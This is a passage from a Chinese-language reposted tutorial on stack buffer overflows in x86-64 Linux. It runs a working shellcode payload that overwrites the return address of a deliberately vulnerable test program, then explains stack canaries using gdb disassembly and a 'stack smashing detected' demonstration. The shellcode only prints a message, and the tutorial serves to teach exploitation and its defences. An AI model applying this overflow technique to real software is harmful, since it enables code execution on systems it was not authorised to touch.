[转]现代Linux系统上的栈溢出攻击 (3)

这些只是要执行的指令的机器码形式,这样转义后,他们就可以使用perl来打印了。因为shellcode 的长度是45字节,但是我们需要72个字节才能覆盖掉SIP。所以需要再加上27个字节。好了 下面就是我们要使用的字符串:

"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48

\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9

\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"

当程序执行完go() 这个函数的时候就会跳到0x7fffffffe0a0去执行。而这个地址正是name[]数组的地址,此时name[]数组里面已经被填充上我们的shellcode了。不出意外的话,程序就会执行我们的shellcode然后打印出消息 ,然后退出,好了 现在我们来试一试(注意执行前 清除掉所有的断点 (译者注:如果你在调试器里面执行的话)):

-----------------------------------

$ ./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48

\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c

\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0

\xff\xff\xff\x7f"'`

Hax!$

-----------------------------------

可以看到,我们shellcode 被执行了,程序打印出消息然后退出了。

4. 保护机制

欢迎来到2012年,上面的例子在层层保护之下已经不能工作了。现在在我们的Ubuntu机器上面使用了很多不同的保护措施。这种形式的利用方式甚至已经不存在了。当然栈中还是会发生溢出,也还是有新的方法来利用它。这就是我下面一节要介绍的。但是首先还是让我们来了解下各种保护机制吧。

4.1 堆栈保护

在上面的例子里面我们使用-fno-stack-protector 标识来告诉gcc 我们不想启用堆栈保护。如果我们把这个选项和前面加的其他选项都去掉呢 ?注意此时ASLR也被打开了,所有的东西都变成默认了。

$ gcc oldskool.c -o oldskool -g

我们先看看生成的二进制代码,看看有什么变化。

-----------------------------------

$ gdb -q ./oldskool

Reading symbols from /home/me/.hax/vuln/oldskool...done.

(gdb) disas go

Dump of assembler code for function go:

0x000000000040058c <+0>: push %rbp

0x000000000040058d <+1>: mov %rsp,%rbp

0x0000000000400590 <+4>: sub $0x60,%rsp

0x0000000000400594 <+8>: mov %rdi,-0x58(%rbp)

0x0000000000400598 <+12>: mov %fs:0x28,%rax

0x00000000004005a1 <+21>: mov %rax,-0x8(%rbp)

0x00000000004005a5 <+25>: xor %eax,%eax

0x00000000004005a7 <+27>: mov -0x58(%rbp),%rdx

0x00000000004005ab <+31>: lea -0x50(%rbp),%rax

0x00000000004005af <+35>: mov %rdx,%rsi

0x00000000004005b2 <+38>: mov %rax,%rdi

0x00000000004005b5 <+41>: callq 0x400450

0x00000000004005ba <+46>: mov -0x8(%rbp),%rax

0x00000000004005be <+50>: xor %fs:0x28,%rax

0x00000000004005c7 <+59>: je 0x4005ce

0x00000000004005c9 <+61>: callq 0x400460 <__stack_chk_fail@plt>

0x00000000004005ce <+66>: leaveq

0x00000000004005cf <+67>: retq

End of assembler dump.

-----------------------------------

如果我们观察go+12 和 go+21,可以看到一个值被从$fs+0x28 或者%fs:0x28。这个地址指向的值并不重要,现在我只告诉你:fs 指向的结构是供内核使用的(为内核保留的),我们不能使用gdb 来查看fs 的值。但是我们只需要知道这个地方包含了一个随机的值,已经被证明我们是不能提前预测这个值的。

-----------------------------------

(gdb) break *0x0000000000400598

Breakpoint 1 at 0x400598: file oldskool.c, line 4.

(gdb) run

Starting program: /home/me/.hax/vuln/oldskool

Breakpoint 1, go (data=0x0) at oldskool.c:4

4 void go(char *data) {

(gdb) x/i $rip

=> 0x400598 : mov %fs:0x28,%rax

(gdb) si

0x00000000004005a1 4 void go(char *data) {

(gdb) i r rax

rax 0x110279462f20d0001225675390943547392

(gdb) run

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/me/.hax/vuln/oldskool

Breakpoint 1, go (data=0x0) at oldskool.c:4

4 void go(char *data) {

(gdb) si

0x00000000004005a1 4 void go(char *data) {

(gdb) i r rax

rax 0x21f95d1abb2a0800 2448090241843202048

-----------------------------------

我们在将那个值从 $fs+0x28移到rax的指令处下断点,然后执行这条指令,查看rax的值,重复这个过程我们可以清楚的看到这个值每次运行都会变化,所以这是个每次程序运行都会改变的值。也就是说攻击者不能提前知道这个值。但是这个值是怎么用来保护栈的呢?如果我们看 go+21 处 ,可以看出这个值被拷贝到 -0x8(%rbp) 处。可以看出这个值恰好在函数的局部变量和函数的返回地址之间。这个值被叫做”金丝雀”,也就是矿工用来提醒他们瓦斯泄露的。因为金丝雀对瓦斯比较忙敏感,会比人先死去。类比下,当发生缓冲区溢出的时候,这个值会比函数的返回地址先被覆盖。如果我们看下 go+46 和 go+50 的地方,可以看出这个值被从堆栈里面读出来。然后和原来的值做对比,如果他们是一样的那么就说明值没有改变,也就是说函数的返回地址也没被改变,然后就运行函数正常的退出了。但是如果这个值改变了,就说明发送了栈溢出,保存的函数返回地址有可能被改写了。于是函数就会执行__stack_chk_fail函数,这个函数会抛出一个错误,然后让进程退出。就像下面你看到的一样:

-----------------------------------

$ ./oldskool `perl -e 'print "A"x80'`

*** stack smashing detected ***: ./oldskool terminated

Aborted (core dumped)

-----------------------------------

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzdfxd.html